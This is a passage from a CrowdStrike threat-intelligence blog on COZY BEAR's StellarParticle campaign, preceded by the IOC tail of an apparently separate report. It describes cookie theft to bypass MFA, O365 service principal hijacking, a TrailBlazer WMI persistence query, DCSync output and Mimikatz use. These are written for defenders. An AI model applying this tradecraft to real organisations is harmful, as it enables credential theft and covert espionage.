rule pack available for purchase on Snort.org. Snort rules for protection against this threat are: 59226 - 59230. Orbital Queries Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries on this threat, click below: Ligolo SloughRat IOCS Maldocs 4b2862a1665a62706f88304406b071a5c9a6b3093daadc073e174ac6d493f26c 026868713d60e6790f41dc7046deb4e6795825faa903113d2f22b644f0d21141 7de663524b63b865e57ffc3eb4a339e150258583fdee6c2c2ca4dd7b5ed9dfe7 6e50e65114131d6529e8a799ff660be0fc5e88ec882a116f5a60a2279883e9c4 ef385ed64f795e106d17c0a53dfb398f774a555a9e287714d327bf3987364c1b 21/22 d77e268b746cf1547e7ed662598f8515948562e1d188a7f9ddb8e00f4fd94ef0 ed988768f50f1bb4cc7fb69f9633d6185714a99ecfd18b7b1b88a42a162b0418 c2badcdfa9b7ece00f245990bb85fb6645c05b155b77deaf2bb7a2a0aacbe49e f10471e15c6b971092377c524a0622edf4525acee42f4b61e732f342ea7c0df0 cc67e663f5f6cea8327e1323ecdb922ae8e48154bbf7bd3f9b2ee2374f61c5d6 fb69c821f14cb0d89d3df9eef2af2d87625f333535eb1552b0fcd1caba38281f 202bf7a4317326b8d0b39f1fa19304c487128c8bd6e52893a6f06f9640e138e6 3fe9f94c09ee450ab24470a7bcd3d6194d8a375b3383f768662c1d561dab878d cf9b1e0d17199f783ed2b863b0289e8f209600a37724a386b4482c2001146784 EXEs a500e5ab8ce265d1dc8af1c00ea54a75b57ede933f64cea794f87ef1daf287a1 URLs hxxp://185[.]118.164.195/c hxxp://5[.]199[.]133[.]149/oeajgyxyxclqmfqayv hxxp://5[.]199[.]133[.]149/jznkmustntblvmdvgcwbvqb hxxp://88[.]119.170.124/lcekcnkxkbllmwlpoklgof hxxp://88[.]119.170.124/ezedcjrfvjriftmldedu hxxp://178[.]32.30.3:80/kz10n2f9d5c4pkz10n2f9s2vhkz10n2f9/gcvvPu2KXdqEbDpJQ33/ hxxp://178[.]32.30.3:80/kz10n2f9d5c4pkz10n2f9s2vhkz10n2f9/rrvvPu2KXdqEbDpJQ33/ hxxp://185[.]183.97.25/protocol/function.php hxxp://lalindustries[.]com/wp-content/upgrade/editor.php hxxp://advanceorthocenter[.]com/wp-includes/editor.php hxxp://95[.]181.161.81/i100dfknzphd5k hxxp://95[.]181.161.81/mm57aayn230 hxxp://95[.]181.161.81:443/main.exe 22/22 StellarParticle Campaign: Novel Tactics and Techniques crowdstrike.com/blog/observations-from-the-stellarparticle-campaign CrowdStrike Services - CrowdStrike Intelligence January 27, 2022 StellarParticle is a campaign tracked by CrowdStrike as related to the SUNSPOT implant from the SolarWinds intrusion in December 2020 and associated with COZY BEAR (aka APT29, The Dukes The StellarParticle campaign has continued against multiple organizations, with COZY BEAR using novel tools and techniques to complete their objectives, as identified by CrowdStrike incident responders and the CrowdStrike Intelligence team. Browser cookie theft and Microsoft Service Principal manipulation are two of the novel techniques and tools leveraged in the StellarParticle campaign and are discussed in this blog. Two sophisticated malware families were placed on victim systems in mid-2019: a Linux variant of GoldMax and a new implant dubbed TrailBlazer. Supply chain compromises are an increasing threat that impacts a range of sectors, with threat actors leveraging access to support several motivations including financial gain (such as with the Kaseya ransomware attack) and espionage. Throughout 2020, an operation attributed to the Foreign Intelligence Service of the Russian Federation (SVR) by the U.S. government was conducted to gain access to the update mechanism of the SolarWinds IT management software 1/22 and use it to broaden their intelligence collection capabilities. This activity is tracked by CrowdStrike as the StellarParticle campaign and is associated with the COZY BEAR adversary group. This blog discusses the novel tactics and techniques leveraged in StellarParticle investigations conducted by CrowdStrike. These techniques include: Credential hopping for obscuring lateral movement Office 365 (O365) Service Principal and Application hijacking, impersonation and manipulation Stealing browser cookies for bypassing multifactor authentication Use of the TrailBlazer implant and the Linux variant of GoldMax malware Credential theft using Get-ADReplAccount Credential Hopping The majority of StellarParticle-related investigations conducted by CrowdStrike have started with the identification of adversary actions within a victim s O365 environment. This has been advantageous to CrowdStrike incident responders in that, through investigating victim O365 environments, they could gain an accurate accounting of time, account and source IP address of adversary victimization of the O365 tenant. In multiple engagements, this led CrowdStrike incident responders to identify that the malicious authentications into victim O365 tenants had originated from within the victim s own network. Armed with this information, CrowdStrike investigators were able to identify from which systems in these internal networks the threat actor was making authentications to O365. These authentications would typically occur from servers in the environment, leading to natural investigative questions: Why would a user authenticate into O365 from a domain controller or other infrastructure server? What credentials were used as part of the session from which the O365 authentication occurred? This led our responders to identify the occurrence of credential hopping, where the threat actor leveraged different credentials for each step while moving laterally through the victim network. While this particular technique is not necessarily unique to the StellarParticle campaign, it indicates a more advanced threat actor and may go unnoticed by a victim. Below is an example of how a threat actor performs credential hopping: Gain access to the victim s network by logging into a public-facing system via Secure Shell (SSH) using a local account acquired during previous credential theft activities. Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account. 2/22 From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrator s account. Log in to O365 as a user with privileged access to cloud resources. Figure 1. Example of credential hopping technique This technique could be hard to identify in environments where defenders have little visibility into identity usage. In the example shown in Figure 1, the threat actor leveraged a service interactively, which should generate detections for defenders to investigate. However, the threat actor could have easily used a second domain administrator account or any other combination of accounts that would not be easily detected. A solution such as CrowdStrike Falcon Identity Threat Detection would help identify these anomalous logons and especially infrequent destinations for accounts. (Read how CrowdStrike incident responders leverage the module in investigations in this blog: Credentials, Authentications and Hygiene: Supercharging Incident Response with Falcon Identity Threat Detection.) But how had the threat actor succeeded in authenticating into victim O365 tenants, when multifactor authentication (MFA) had been enabled for every O365 user account at each victim organization investigated by CrowdStrike? Cookie Theft to Bypass MFA Even though the victims required MFA to access cloud resources from all locations, including on premises, the threat actor managed to bypass MFA through the theft of Chrome browser cookies. The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data. In Windows, Chrome cookies and saved passwords are encrypted using DPAPI. The user-specific encryption keys for DPAPI are stored under C:\Users\\AppData\Roaming\Microsoft\Protect\ . To leverage these encryption keys, the threat actor must first decrypt them, either by using the user account s Windows password, or, in Active Directory environments, by using a DPAPI domain backup key that is stored on domain controllers. Once the threat actor had a Chrome cookies file from a user that had already passed an MFA challenge recently (for example, a timeout was 24 hours), they decrypted the cookies file using the user s DPAPI key. The cookies were then added to a new session using a Cookie Editor Chrome extension that the threat actor installed on victim systems and removed after using. Shellbags, Falcon Telemetry and RDP Bitmap Cache 3/22 From a forensic standpoint, the use of the Cookie Editor Chrome extension would have been challenging to identify, due to the threat actor s penchant for strict operational security. This activity was identified via a NewScriptWritten event within Falcon when a JavaScript file was written to disk by a threat actor-initiated Chrome process. This event captured the unique extension ID associated with the extension, thereby allowing CrowdStrike incident responders to validate via the Chrome Store that the JavaScript file was associated with the Cookie Editor plugin. This extension permitted bypassing MFA requirements, as the cookies, replayed through the Cookie Editor extension, allowed the threat actor to hijack the already MFA-approved session of a targeted user. Shellbags were also instrumental in identifying the cookie theft activity. This artifact very clearly showed the threat actor accessing targeted users machines in sequence and browsing to the Chrome and DPAPI directories one after another. Parsing Shellbags for an administrative account leveraged by the threat actor resulted in entries similar to the below. Figure 2. Shellbag artifacts showing targeting of Chrome directories CrowdStrike identified forensic evidence that showed the entire attack path: browsing to a target user s Chrome and DPAPI directories via administrative share, installing the Cookie Editor extension, and using Chrome to impersonate the targeted user in the victim s cloud tenants. The decryption of the cookies is believed to have taken place offline after exfiltrating the data via the clipboard in the threat actor s RDP session. Figure 3. Representation of lateral movement to cookie theft to O365 authentication 4/22 CrowdStrike identified a similar TTP where the threat actor connected via RDP to a user workstation with the workstation owner s account (e.g., connecting via RDP to user1-pc using the account user1). In cases where the user had only locked their screen and not signed out, the threat actor was able to take over the user s Windows session, as the RDP session would connect to the existing session of the same user. By examining RDP Bitmap Cache files, CrowdStrike was able to demonstrate that the threat actor had opened Chrome and exported all of the user s saved passwords as plaintext in a CSV file during these sessions. Figure 4. RDP Bitmap Cache reconstruction showing exportation of Chrome passwords In addition, the threat actor visited sensitive websites that the user had access to, which in one instance allowed them to browse and download a victim s customer list. After this, the threat actor navigated to the user s Chrome history page and deleted the specific history items related to threat actor activity, leaving the rest of the user s Chrome history intact. O365 Delegated Administrator Abuse CrowdStrike also identified a connection between StellarParticle-related campaigns and the abuse of Microsoft Cloud Solution Partners O365 tenants. This threat actor abused access to accounts in the Cloud Solution Partner s environment with legitimate delegated administrative privileges to then gain access to several customers O365 environments. By analyzing Azure AD sign-ins, CrowdStrike was able to use known indicators of compromise (IOCs) to identify several threat actor logins to customer environments. These cross-tenant sign-ins were identified by looking for values in the resourceTenantId attribute that did not match the Cloud Solution Partner s own Azure tenant ID. CrowdStrike also identified a limitation within Microsoft s Delegated Administration capabilities for Microsoft Cloud Solution Partners. While a normal O365 administrator can be provided dozens of specific administrative roles to limit the privileges granted, this same 5/22 degree of customization cannot be applied to Microsoft Cloud Solution Partners that use the delegated administrator functionality in O365. For Microsoft Cloud Solution Partners, there are only two substantial administrative options today when managing a customer s environment, Admin agent or Helpdesk agent .2 The Helpdesk agent role provides very limited access that is equivalent to a password admin role, whereas the Admin agent role provides broad access more equivalent to global administrator. This limitation is scheduled to be resolved in 2022 via Microsoft s scheduled feature, Granular Delegated Admin Privileges (GDAP).3 User Access Logging (UAL) The Windows User Access Logging (UAL) database is an extremely powerful artifact that has played an instrumental role in the investigation of StellarParticle-linked cases. In particular, UAL has helped our responders identify earlier malicious account usage that ultimately led to the identification of the aforementioned TrailBlazer implant and Linux version of the GoldMax variant. The UAL database is available by default on Server editions of Windows starting with Server 2012. This database stores historical information on user access to various services (or in Windows parlance, Roles) on the server for up to three years (three years minus one day) by default. UAL contains information on the type of service accessed, the user that accessed the service and the source IP address from which the access occurred. One of the most useful roles recorded by UAL is the File Server role, which includes SMB access, though other role types can also be very helpful. An overview of UAL, what information it contains and how it can be leveraged in forensic investigations can be found here. In multiple StellarParticle-related cases, because the threat actor used the same set of accounts during their operations in the environment, CrowdStrike was able to identify previous malicious activity going back multiple years, based solely on UAL data. Even though it s only available on Server 2012 and up, UAL can still be used to trace evidence of threat actor activity on legacy systems as long as the activity on the legacy system involves some (deliberate or unintentional) access to a 2012+ system. For example, in addition to tracking SMB activity, UAL databases on Domain Controllers track Active Directory access. This allowed CrowdStrike to demonstrate that a given user account was also authenticating to Active Directory from a given source IP address two years prior. Because the user account was known to have recently been abused by the threat actor, and the source IP of the system in question was not one that account would typically be active on, the investigation led to the source system and ultimately resulted in the timeline of malicious activity being pushed back by years, with additional compromised systems even being discovered still running unique malware from that time period. TrailBlazer and GoldMax 6/22 Throughout StellarParticle-related investigations, CrowdStrike has identified two sophisticated malware families that were placed on victim systems in the mid-2019 timeframe: a Linux variant of GoldMax and a completely new family CrowdStrike refers to as TrailBlazer. TrailBlazer Attempted to blend in with a file name that matched the system name it resided on Configured for WMI persistence (generally uncommon in 2019) Used likely compromised infrastructure for C2 Masquerades its command-and-control (C2) traffic as legitimate Google Notifications HTTP requests TrailBlazer is a sophisticated malware family that provides modular functionality and a very low prevalence. The malware shares high-level functionality with other malware families. In particular, the use of random identifier strings for C2 operations and result codes, and attempts to hide C2 communications in seemingly legitimate web traffic, were previously observed tactics, techniques and procedures (TTPs) in GoldMax and SUNBURST. TrailBlazer persists on a compromised host using WMI event subscriptions4 a technique also used by SeaDuke although this persistence mechanism is not exclusive to COZY BEAR.5 WMI event filter SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 180 AND TargetInstance.SystemUpTime < 480 WMI Event consumer (CommandLineTemplate) C:\Program Files (x86)\Common Files\Adobe\ .exe Filter to consumer binding CommandLineEventConsumer.Name=" "|__EventFilter.Name="" Table 1. TrailBlazer WMI Persistence In the obfuscated example above, TrailBlazer ( .exe ) would be executed when the system s uptime was between 180 and 480 seconds. GoldMax (Linux variant) Attempted to blend in with a file name that matched the system name it resided on Configured for persistence via a crontab entry with a @reboot line Used likely compromised infrastructure for C2 GoldMax was first observed during post-exploitation activity in the campaign leveraging the SolarWinds supply chain attacks. Previously identified samples of GoldMax were built for the Windows platform, with the earliest identified timestamp indicating a compilation in May 2020, but a recent CrowdStrike investigation discovered a GoldMax variant built for the Linux 7/22 platform that the threat actor deployed in mid-2019. This variant extends the backdoor known history and shows that the threat actor has used the malware in postexploitation activity targeting other platforms than Windows. The 2019 Linux variant of the GoldMax backdoor is almost identical in functionality and implementation to the previously identified May 2020 Windows variant. The very few additions to the backdoor between 2019 and 2020 likely reflect its maturity and longstanding evasion of detections. It is likely GoldMax has been used as a long-term persistence backdoor during StellarParticle-related compromises, which would be consistent with the few changes made to the malware to modify existing functions or support additional functionality. Persistence was established via a crontab entry for a non-root user. With the binary named to masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry was created with a @reboot line so the GoldMax binary would execute again upon system reboot. Additionally, the threat actor used the nohup command to ignore any hangup signals, and the process will continue to run even if the terminal session was terminated. Figure 5. Crontab entry for GoldMax persistence Enumeration Tools/Unique Directory Structure Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a VBScript-based Active Directory enumeration toolkit. While the script s contents have not been recovered to date, CrowdStrike has observed identical artifacts across multiple StellarParticle engagements that suggest the same or similar tool was used. In each instance the tool was used, Shellbags data indicated that directories with random names of a consistent length were navigated to by the same user that ran the tool. After two levels of randomly named directories, Shellbags proved the existence of subdirectories named after the FQDNs for the victims various domains. In addition, the randomly named directories are typically created in a previously existing directory that s one level off of the root of the C drive. The randomly named directories have a consistent length where the first directory is six characters and the next directory is three characters. To date, the names of the directories have always been formed from lowercase alphanumeric characters. For example, Shellbags indicated that directories matching the naming patterns below were browsed to (where a previously existing directory on the system): C:\XX\[a-z0-9]{6} C:\XX\[a-z0-9]{6}\[a-z0-9]{3} C:\XX\[a-z0-9]{6}\[a-z0-9]{3}\domain.FQDN C:\XX\[a-z0-9]{6}\[a-z0-9]{3}\domain-2.FQDN 8/22 In each case, immediately prior to the creation of the directories referenced above, there was evidence of execution of a VBScript file by the same user that browsed to the directories. This evidence typically came from a UserAssist entry for wscript.exe, as well as RecentApps entries for wscript.exe (that would also include the VBScript filename). In addition, the Jump List for wscript.exe contained evidence of the VBScript files. The name of the VBScript files varied across engagements and was generally designed to look fairly innocuous and blend in. Two examples are env.vbs and WinNet.vbs . Due to the subdirectories that are named after the FQDNs for victim domains, CrowdStrike assesses with moderate confidence that the scripts represent an AD enumeration tool used by the adversary. Internal Wiki Access Across multiple StellarParticle investigations, CrowdStrike identified unique reconnaissance activities performed by the threat actor: access of victims internal knowledge repositories.6 Wikis are commonly used across industries to facilitate knowledge sharing and as a source of reference for a variety of topics. While operating in the victim s internal network, the threat actor accessed sensitive information specific to the products and services that the victim organization provided. This information included items such as product/service architecture and design documents, vulnerabilities and step-by-step instructions to perform various tasks. Additionally, the threat actor viewed pages related to internal business operations such as development schedules and points of contact. In some instances these points of contact were subsequently targeted for further data collection. The threat actor s wiki access could be considered an extension of Credential Hopping described earlier. The threat actor established RDP sessions to internal servers using privileged accounts and then accessed the wiki using a different set of credentials. CrowdStrike observed the threat actor accessing the wiki as users who would be considered nonprivileged from an Active Directory perspective but had access to sensitive data specific to the victim s products or services. At this time, the malicious access of internal wikis is an information gathering technique that CrowdStrike has only observed in StellarParticle investigations. CrowdStrike was able to identify the wiki access primarily through forensic analysis of the internal systems used by the threat actor. Given the threat actor s penchant for clearing browser data, organizations should not rely upon the availability of these artifacts for future investigations. CrowdStrike recommends the following best practices for internal information repositories: Enable detailed access logging Ensure logs are centralized and stored for at least 180 days Create detections for anomalous activity such as access from an unusual location like a server subnet Enable MFA on the repository site, or provide access via Single Sign On (SSO) behind 9/22 O365 Built-in Service Principal Hijacking The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server and opened a PowerShell console, then used the PowerShell command -ep bypass to circumvent the execution policy. Using the Windows Azure Active Directory PowerShell Module, the threat actor connected to the victim s O365 tenant and began performing enumeration queries. These queries were recorded in text-based logs that existed under the path C:\Users\\AppData\Local\Microsoft\Office365\Powershell\ . Similar logs (for Azure AD instead of O365) can be found under the path: C:\Users\\AppData\Local\Microsoft\AzureAD\Powershell\ . While the logs didn t include what data was returned by the queries, they did provide some insight such as the user account used to connect to the victim s O365 tenant (which was not the same as the user the threat actor used to RDP to the vCenter server). The logs contained commands issued and the count of the results returned for a specific command. The commands included enumeration queries such as: ListAccountSkus ListPartnerContracts ListServicePrincipals ListServicePrincipalCredentials ListRoles ListRoleMembers ListUsers ListDomains GetRoleMember GetPartnerInformation GetCompanyInformation In this case, however, the most significant and concerning log entry was one that indicated the command AddServicePrincipalCredentials was executed. By taking the timestamp that the command was executed via the PowerShell logs on the local system, CrowdStrike analyzed the configuration settings in the victim s O365 tenant and discovered that a new secret had been added to a built-in Microsoft Azure AD Enterprise Application, Microsoft StaffHub Service Principal, which had Application level permissions. Further, the newly added secret was set to remain valid for more than a decade. This data was acquired by exporting the secrets and certificates details for each Azure AD Enterprise Application. The Service Principal (now renamed to Microsoft Teams Shifts ) had the following permissions at the time the configuration settings were collected: 10/22 Member.Read Member.Read.All Member.ReadWrite Member.ReadWrite.All Shift.Read Shift.Read.All Shift.ReadWrite Shift.ReadWrite.All Team.Read Team.Read.All Team.ReadWrite Team.ReadWrite.All User.Read.All User.ReadWrite.All WebHook.Read.All WebHook.ReadWrite.All CrowdStrike was unable to find Microsoft documentation, but based on open-source research,7 this application likely had the following permissions around the time of registration: Mail.Read Group.Read.All Files.Read.All Group.ReadWrite.All The most notable permissions above are the Mail.Read , Files.Read and Member.ReadWrite permissions. These permissions would allow the threat actor to use the Microsoft Staffhub service principal to read all mail and SharePoint/OneDrive files in the organization, as well as create new accounts and assign administrator privileges to any account in the organization. By running the commands from within the victim s environment, MFA requirements were bypassed due to conditional access policies not covering Service Principal sign-ins at this point of time.8 However, as explained earlier, the threat actor managed to continue to access the victim s cloud environment even when the victim enforced MFA for all connections regardless of source. While the bulk of the evidence for this activity came from the text-based O365 PowerShell logs, the NTUSER.DAT registry hive for the user that was running the PowerShell cmdlets also included information on the accounts that were used to authenticate to the cloud. This information was stored under the registry path. Below is an example of the registry data: 11/22 Figure 6. Example registry entry showing target O365 email accounts The same WSMan connection string was also located in the user s NTUSER.DAT registry hive under the path: Figure 7. WSMan connection string registry location While not strictly related to the O365 PowerShell activity, the Windows Event Log Microsoft-Windows-WinRM%4Operational.evtx also included information on connection attempts made to external O365 tenants. This information was logged under Event ID 6. Below is an example of what the event included: Figure 8. Windows Event Log entry showing connection to O365 tenants O365 Company Service Principal Manipulation The threat actor also deployed several layers of persistence utilizing both pre-existing and threat actor-created Service Principals with the ultimate goal of gaining global access to email. Attacker-created Service Principal First, the threat actor used a compromised O365 administrator account to create a new Service Principal with a generic name. This Service Principal was granted company administrator privileges. From there, the threat actor added a credential to this Service Principal so that they could access the Service Principal directly, without use of an O365 user account. These actions were recorded in Unified Audit Logs with the following three operation names: Add service principal Add member to role Add service principal credentials. Update Service Principal Company-Created Service Principal Hijacking Next, the threat actor utilized the threat actor-created Service Principal to take control of a second Service Principal. This was done by adding credentials to this second Service Principal, which was legitimately created by the company. This now compromised company-created Service Principal had mail.read graph permissions consented on behalf of all users within the tenant. 12/22 This action was recorded by just one operation type in Unified Audit Logs. This operation type is named Add service principal credentials . Mail.Read Service Principal Abuse Finally, the threat actor utilized the compromised Service Principal with the assigned mail.read permissions to then read emails of several different users in the company environment. CrowdStrike was able to use the Unified Audit Logs (UAL) MailItemsAccessed operation events to see the exact emails the threat actor viewed, as the majority of the users in the tenant were assigned O365 E5 licenses. When performing analysis on the UAL, CrowdStrike used the ClientAppId value within the MailItemsAccessed operation and cross-correlated with the Application ID of the compromised service principal to see what activities were performed by the threat actor. O365 Application Impersonation Another consistent TTP identified during StellarParticle investigations has been the abuse of the ApplicationImpersonation 9 role. When this role was assigned to a particular user that was controlled by the threat actor, it allowed the threat actor to impersonate any user within the O365 environment. These impersonated events are not logged verbosely by the Unified Audit Logs and can be difficult to detect. While the assignment of these ApplicationImpersonation roles were not logged in the Unified Audit Logs, CrowdStrike was able to identify this persistence mechanism via the management role configuration settings, which can be exported with the Exchange PowerShell command: Get-ManagementRoleAssignment -Role ApplicationImpersonation . CrowdStrike then analyzed the exported configuration settings and identified several users (not service accounts) that the threat actor likely gave direct ApplicationImpersonation roles during the known periods of compromise. Remote Tasklist The threat actor attempted to remotely list running processes on systems using tasklist.exe . As tasklist uses WMI under the hood, this activity was captured by Falcon as SuspiciousWmiQuery events that included the query and the source system. Additionally, the failed (not successful) process listing resulted in a DCOM error that was logged in the System.evtx event log under Event ID 10028. A sample of the information included with this event is below: 13/22 Figure 9. Event ID 10028 showing failed execution of remote tasklist This remote process listing was consistently used by the threat actor targeting the same or similar lists of remote systems, and the owners of the targeted systems also happened to be the individuals with cloud access that the threat actor was interested in. While unproven, it possible the threat actor was running tasklist remotely on these systems specifically to see which of the target systems was running Google Chrome. This is because a current or recent Chrome session to the victim s cloud tenants would be potentially beneficial in the hijacking of sessions that the threat actor performed in order to access the victim s cloud resources. FTP Scanning/Identity Knowledge In one instance, after being evicted from a victim environment, the threat actor began probing external services as a means to regain access, initially focusing on (S)FTP servers that were internet-accessible. Logs on the servers indicated that the threat actor attempted to log in with multiple valid accounts and in several cases was successful. There was little to no activity during the (S)FTP sessions. This likely was an exercise in attempting to identify misconfigured (S)FTP accounts that also had shell access, similar to what s described in the Credential Hopping section earlier. Some of the accounts used were not in the victim s Active Directory, as these were accounts for customers of the victim and stored in a separate LDAP database. However, the threat actor had knowledge of these accounts and used them on the correct systems, which further confirmed that the threat actor had advanced knowledge of the victim environment. After confirming the FTP accounts did not provide shell access into the environment, the threat actor began attempting to connect into the environment via VPN. The threat actor attempted to log in to the VPN using several user accounts but was prevented from connecting, either due to not having the correct password, or due to having the correct password but not getting past the recently implemented MFA requirement. Eventually, the threat actor attempted an account that they had the correct password for but that had not been set up with MFA. This resulted in a prompt being displayed to the threat actor that included an MFA setup link. The threat actor subsequently set up MFA for the account and successfully connected to the victim s network via VPN. TA Masquerading of System Names During the attempted and successful VPN authentications described above, the threat actor ensured the hostname of their system matched the naming convention of hostnames in the victim s environment. This again showed a strong knowledge of the victim s internal environment on the part of the threat actor. Not only did the masqueraded hostnames follow the correct naming convention from a broad perspective, they were also valid in terms of what 14/22 would be expected for the user account the threat actor leveraged (i.e., in terms of the site name and asset type indicated in the hostname). This masqueraded hostname technique has been observed at multiple StellarParticle-related investigations. Credential Theft Using Get-ADReplAccount In one example, the threat actor connected into the victim s environment via a VPN endpoint that did not have MFA enabled. Once connected to the VPN, the threat actor connected via Remote Desktop to a Domain Controller and copied the DSInternals10 PowerShell module to the system. The threat actor subsequently ran the DSInternals command GetADReplAccount targeting two of the victim s domains. This command uses the Microsoft Directory Replication Service (MS-DRSR) protocol and specifically the IDL_DRSGetNCChanges method to return account information from Active Directory such as the current NTLM password hashes and previous password hashes used for enforcing password reuse restrictions. A common name for this particular technique is DCSync.11 An example output from Get-AdReplAccount is below: 15/22 DistinguishedName: CN=TestUser,OU=Admins,OU=Users,DC=demo,DC=local Sid: S-1-5-21-1432446722-301123485-1266542393-2012 Guid: 12321930-7c05-4011-8a3e-e0b9b6e04567 SamAccountName: TestUser SamAccountType: User UserPrincipalName: TestUser@demo.local PrimaryGroupId: 513 SidHistory: Enabled: True UserAccountControl: NormalAccount AdminCount: True Deleted: False LastLogonDate: 12/2/2021 1:41:46 PM DisplayName: TestUser GivenName: Test Surname: User Description: Admin Account ServicePrincipalName: SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited, DiscretionaryAclProtected, SelfRelative Owner: S-1-5-21-1432446722-301123485-1266542393-512 Secrets NTHash: 84a058676bb6d7de4237e18f09b91156 LMHash: NTHashHistory: Hash 01: 84a058676bb6d7de4237e18f09b91156 Hash 02: e047ebb3b7c463928c928fca95ac0ac8 Hash 03: 6dc3cdb3e559ef00d3521351ace7477e Hash 04: a88355849f35fe7336de23a4ca3e6a9e Hash 05: de9bde95677672295349aa6e1e857704 LMHashHistory: Hash 01: 12227358dd7013c7dbdbd8fdcc0c6668 Hash 02: 6a028636a6f52491424586bb88357f7c Hash 03: c13ef7347853dc3be7e7259fdc8818a1 Hash 04: 6635151746869ce485246037747adae1 Hash 05: 85543f498b007e07a3da662c8a9d450b SupplementalCredentials: ClearText: NTLMStrongHash: de164e3465f163e846a5e1c22a5ac649 Kerberos: Credentials: DES_CBC_MD5 Key: 0013364f00003915 DES_CBC_CRC Key: 0013364f00003915 OldCredentials: DES_CBC_MD5 Key: 00002a46000004bc DES_CBC_CRC Key: 00002a46000004bc Salt: demo.localTestUser Flags: 0 KerberosNew: Credentials: AES256_CTS_HMAC_SHA1_96 16/22 Key: afd4d60e8d0920bc2f94d551f62f0ea2a17523bf2ff8ffb0fdade2a90389282f Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: f67c2bcbfcfa30fccb36f72dca22a817 Iterations: 4096 DES_CBC_MD5 Key: 00002f34000004ee Iterations: 4096 DES_CBC_CRC Key: 00002f34000004ee Iterations: 4096 OldCredentials: AES256_CTS_HMAC_SHA1_96 Key: b430783ab4c957cf6a03d3d348af27264c0d872932650ffca712d9ebcf778b9f Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: dc34bfd5e469edbeada77fac56aa35ae Iterations: 4096 DES_CBC_MD5 Key: 0000345400000520 Iterations: 4096 DES_CBC_CRC Key: 0000345400000520 Iterations: 4096 OlderCredentials: AES256_CTS_HMAC_SHA1_96 Key: 26efd3593712e555f8366bb4b8aff097d09acd93c3a1b6d4ea03c578aad9e087 Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: c38dfbd6c00b5f3b010a07f9e824fc38 Iterations: 4096 DES_CBC_MD5 Key: 000039a500000551 Iterations: 4096 DES_CBC_CRC Key: 000039a500000551 Iterations: 4096 ServiceCredentials: Salt: demo.localTestUser DefaultIterationCount: 4096 Flags: 0 WDigest: Hash 01: 83ed141ab0eaf1ff7694147ba97e1994 Hash 02: e73a8c05d4a7df53774bfa7ef8f0f574 Hash 03: 0c228c5816a79e561d999d489499a12a Hash 04: 83ed141ab0eaf1ff7694147ba97e1994 Hash 05: e73a8c05d4a7df53774bfa7ef8f0f574 Hash 06: 4e7c5ec6ffb6100f0c7f0bc57749bc93 Hash 07: 83ed141ab0eaf1ff7694147ba97e1994 Hash 08: 10265b08a3bb710da516832eaf64368a Hash 09: 10265b08a3bb710da516832eaf64368a Key Credentials: Credential Roaming Created: Modified: Credentials: 17/22 Figure 10. Get-ADReplAccount example output When executing the Get-ADReplAccount command, the threat actor specified the AD context to be targeted via the NamingContext parameter. This was necessary, as the threat actor was targeting multiple domains. The resulting output of each command was redirected to a text file and compressed as zip archives before exfiltration. The fact that Get-ADReplAccount command includes not only the current NTLM hashes but also the hash history (i.e., hashes of previous passwords used by a user account) meant that the threat actor also had the ability to discover accounts that either reused the same passwords or used similar passwords when the account password was changed. Credential Refresh On some investigations, the dwell time of the threat actor spanned years. Given this extended period, it is logical to assume that some credentials obtained by the threat actor would be rotated during normal business operations. To combat this, the threat actor periodically refreshed their credential set by performing credential theft activities in an already compromised environment. At one victim, CrowdStrike identified multiple instances of domain credential theft months apart, each time with a different credential theft technique. One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell script to execute Mimikatz in-memory. While in-memory Mimikatz is not particularly unique, the script executed by the threat actor was heavily obfuscated and encrypted the output using AES256. CrowdStrike was able to reconstruct the PowerShell script from the PowerShell Operational event log as the script s execution was logged automatically due to the use of specific keywords. CrowdStrike recommends that organizations upgrade PowerShell on their systems, as this functionality is only available with PowerShell version 5 and above. In addition to refreshing the threat actor s credentials, the threat actor would also refresh their understanding of the victim s AD environment. Around the time when the threat actor executed Get-ADReplAccount , the threat actor also executed a renamed version of AdFind to output domain reconnaissance information. In this instance, AdFind was renamed to masquerade as a legitimate Windows binary. The usage of renamed AdFind is consistent with other industry reporting on this campaign. In addition to using scripted commands, operators were repeatedly observed manually executing several standard PowerShell cmdlets to enumerate network information from AD, including Get-ADUser and Get-ADGroupMember to query specific members in the directory. This information provided the adversary with a list of accounts possessing particular privileges in this case, the ability to make VPN connections that would be subject to later credential stealing attempts and leveraged to access the victim at a later time. Password Policies/Hygiene 18/22 In some cases, the threat actor was able to quickly return to the environment and essentially pick up where they left off, even though the organization had performed an enterprise-wide password reset, including a reset of all service accounts and the double-reset of the krbtgt account. CrowdStrike determined that in these cases, administrative users had reset their own password to the same password they previously used, essentially nullifying the impact of the enterprise-wide reset. This was possible even though the customer s Active Directory was configured to require new passwords to be different from the previous five passwords for a given account. Unfortunately, this check only applies when a user is changing their password via the password change method but if a password reset is performed (changing the password without knowing the previous password), this check is bypassed for an administrative user or a Windows account that has the Reset Password permission on a user account object.12 Since the Get-ADReplAccount cmdlet described above included the NTHashHistory values (i.e., previous password hashes) for user accounts, CrowdStrike was able to verify that some administrative accounts indeed had the exact same password hash showing up multiple times in the password history, as well as in the current NTHash value. Close Out The StellarParticle campaign, associated with the COZY BEAR adversary group, demonstrates this threat actor s extensive knowledge of Windows and Linux operating systems, Microsoft Azure, O365, and Active Directory, and their patience and covert skill set to stay undetected for months and in some cases, years. A special thank you to the CrowdStrike Incident Response and CrowdStrike Intelligence teams for helping make this blog possible, especially Ryan McCombs, Ian Barton, Patrick Bennet, Alex Parsons, Christopher Romano, Jackson Roussin and Tom Goldsmith. Endnotes MITRE ATT&CK Framework The following table maps TTPs covered in this article to the MITRE ATT&CK framework. Tactic Technique Observable 